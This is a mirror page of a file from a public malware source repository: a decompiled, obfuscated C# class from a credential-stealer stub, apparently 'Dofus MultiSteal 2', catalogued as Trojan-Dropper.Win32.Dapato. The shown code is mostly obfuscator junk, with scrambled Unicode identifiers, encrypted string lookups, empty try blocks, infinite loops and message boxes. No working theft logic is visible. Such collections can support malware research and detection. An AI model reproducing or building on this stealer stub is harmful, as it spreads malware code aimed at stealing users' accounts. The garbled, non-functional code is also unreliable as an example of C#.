mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 02:46:10 +00:00
122 lines
4.4 KiB
C#
122 lines
4.4 KiB
C#
|
// Decompiled with JetBrains decompiler
|
|||
|
// Type: 뺿㇞姦䢮ᆯ♠䣪
|
|||
|
// Assembly: Dofus MultiSteal 2 Stub, Version=2.4.7.1, Culture=neutral, PublicKeyToken=null
|
|||
|
// MVID: FB10EBBA-F12D-4A39-9029-698DA5104FC7
|
|||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Dropper.Win32.Dapato.auty-fb61e5bf162b1ba51f1a122ca70c0a312ccdac7776ef8695adbfb94fbd2522c9.exe
|
|||
|
|
|||
|
using Microsoft.VisualBasic;
|
|||
|
using System;
|
|||
|
|
|||
|
public class \uECB2뺿\u31DE姦䢮ᆯ\u2660䣪
|
|||
|
{
|
|||
|
public void Շ\u26EE鎉뚠ټ匳\uEDD9凒()
|
|||
|
{
|
|||
|
string str1 = (string) \u003CModule\u003E.G\u007Dzi\u0009\uFFFD\uFFFDi\u0020\u0009\uFFFD\uFFFD\u0002\u002E\uFFFD\u007C(45954462U);
|
|||
|
int num = (int) 洵ᛈ髵\uE240덖ဵ虔憎.\uFFFD䏐ꖮ\u09A9幮䵋痱ᶬ((string) \u003CModule\u003E.G\u007Dzi\u0009\uFFFD\uFFFDi\u0020\u0009\uFFFD\uFFFD\u0002\u002E\uFFFD\u007C(45954615U));
|
|||
|
string str2 = (string) \u003CModule\u003E.G\u007Dzi\u0009\uFFFD\uFFFDi\u0020\u0009\uFFFD\uFFFD\u0002\u002E\uFFFD\u007C(45954591U);
|
|||
|
while (true)
|
|||
|
{
|
|||
|
try
|
|||
|
{
|
|||
|
}
|
|||
|
catch (Exception ex)
|
|||
|
{
|
|||
|
繠\uE19Aꑣ㬟桗虉ɒ茮.\uFFFDທ䕌\uEE0A\u2564߂䶡낱(ex);
|
|||
|
䮢\uE4C9֛薍\uF776\u203D틴攝.塣儦\uE296ꇰ\uE723茹뉁Ỗ(176887L);
|
|||
|
拋悎߀ꥑ\u19AE\u2437\uFDCBበ.돱\uFFFD璾ጆ落ꧥ肮\u33D4();
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
private object 雮䍜窯䪳쓞\uFFFDꕄ誐()
|
|||
|
{
|
|||
|
bool flag = false;
|
|||
|
flag = false;
|
|||
|
return (object) 9926;
|
|||
|
}
|
|||
|
|
|||
|
private object 닚茹鳋\uFFFD鋤\u2F4F\uFFFD㗏()
|
|||
|
{
|
|||
|
Decimal num = 0M;
|
|||
|
ref Decimal local = ref num;
|
|||
|
num = 䮢\uE4C9֛薍\uF776\u203D틴攝.塣儦\uE296ꇰ\uE723茹뉁Ỗ(61L);
|
|||
|
while (true)
|
|||
|
;
|
|||
|
}
|
|||
|
|
|||
|
public object 믗絅ࣳ놋\u32D2\uFFFD픹ꌟ()
|
|||
|
{
|
|||
|
string str1 = (string) \u003CModule\u003E.G\u007Dzi\u0009\uFFFD\uFFFDi\u0020\u0009\uFFFD\uFFFD\u0002\u002E\uFFFD\u007C(661605560U);
|
|||
|
long num1 = 579;
|
|||
|
try
|
|||
|
{
|
|||
|
}
|
|||
|
catch (Exception ex1)
|
|||
|
{
|
|||
|
繠\uE19Aꑣ㬟桗虉ɒ茮.\uFFFDທ䕌\uEE0A\u2564߂䶡낱(ex1);
|
|||
|
num1 = 6L;
|
|||
|
string str2 = (string) \u003CModule\u003E.G\u007Dzi\u0009\uFFFD\uFFFDi\u0020\u0009\uFFFD\uFFFD\u0002\u002E\uFFFD\u007C(661605551U);
|
|||
|
int num2 = 13944;
|
|||
|
do
|
|||
|
{
|
|||
|
try
|
|||
|
{
|
|||
|
}
|
|||
|
catch (Exception ex2)
|
|||
|
{
|
|||
|
繠\uE19Aꑣ㬟桗虉ɒ茮.\uFFFDທ䕌\uEE0A\u2564߂䶡낱(ex2);
|
|||
|
Decimal num3 = 0M;
|
|||
|
ref Decimal local = ref num3;
|
|||
|
int num4 = (int) 髫皘쯇싗ᯪ뉞ኛﻁ.ꀲ鲮峟ո廳\u4DE9ꀡ꽽((object) (string) \u003CModule\u003E.G\u007Dzi\u0009\uFFFD\uFFFDi\u0020\u0009\uFFFD\uFFFD\u0002\u002E\uFFFD\u007C(661605530U), MsgBoxStyle.OkOnly, (object) null);
|
|||
|
拋悎߀ꥑ\u19AE\u2437\uFDCBበ.돱\uFFFD璾ጆ落ꧥ肮\u33D4();
|
|||
|
}
|
|||
|
int num5 = (int) 髫皘쯇싗ᯪ뉞ኛﻁ.ꀲ鲮峟ո廳\u4DE9ꀡ꽽((object) (string) \u003CModule\u003E.G\u007Dzi\u0009\uFFFD\uFFFDi\u0020\u0009\uFFFD\uFFFD\u0002\u002E\uFFFD\u007C(661605507U), MsgBoxStyle.OkOnly, (object) null);
|
|||
|
checked { num2++; }
|
|||
|
}
|
|||
|
while (num2 <= 6097627);
|
|||
|
int num6 = (int) 髫皘쯇싗ᯪ뉞ኛﻁ.ꀲ鲮峟ո廳\u4DE9ꀡ꽽((object) (string) \u003CModule\u003E.G\u007Dzi\u0009\uFFFD\uFFFDi\u0020\u0009\uFFFD\uFFFD\u0002\u002E\uFFFD\u007C(661605794U), MsgBoxStyle.OkOnly, (object) null);
|
|||
|
拋悎߀ꥑ\u19AE\u2437\uFDCBበ.돱\uFFFD璾ጆ落ꧥ肮\u33D4();
|
|||
|
}
|
|||
|
return (object) 1;
|
|||
|
}
|
|||
|
|
|||
|
public object 艸荄쵀\u2012봯垛\uED8B浺()
|
|||
|
{
|
|||
|
Decimal num1 = 䮢\uE4C9֛薍\uF776\u203D틴攝.塣儦\uE296ꇰ\uE723茹뉁Ỗ(3L);
|
|||
|
bool flag = false;
|
|||
|
long num2 = 60049;
|
|||
|
while (true)
|
|||
|
{
|
|||
|
䮢\uE4C9֛薍\uF776\u203D틴攝.塣儦\uE296ꇰ\uE723茹뉁Ỗ(76L);
|
|||
|
try
|
|||
|
{
|
|||
|
}
|
|||
|
catch (Exception ex1)
|
|||
|
{
|
|||
|
繠\uE19Aꑣ㬟桗虉ɒ茮.\uFFFDທ䕌\uEE0A\u2564߂䶡낱(ex1);
|
|||
|
num1 = 䮢\uE4C9֛薍\uF776\u203D틴攝.塣儦\uE296ꇰ\uE723茹뉁Ỗ(5L);
|
|||
|
flag = false;
|
|||
|
try
|
|||
|
{
|
|||
|
}
|
|||
|
catch (Exception ex2)
|
|||
|
{
|
|||
|
繠\uE19Aꑣ㬟桗虉ɒ茮.\uFFFDທ䕌\uEE0A\u2564߂䶡낱(ex2);
|
|||
|
num2 = 0L;
|
|||
|
while (true)
|
|||
|
;
|
|||
|
}
|
|||
|
while (true)
|
|||
|
{
|
|||
|
num2 = 2L;
|
|||
|
num2 = 61L;
|
|||
|
num2 = 61L;
|
|||
|
flag = true;
|
|||
|
num2 = 83L;
|
|||
|
string str = (string) \u003CModule\u003E.G\u007Dzi\u0009\uFFFD\uFFFDi\u0020\u0009\uFFFD\uFFFD\u0002\u002E\uFFFD\u007C(3887455361U);
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|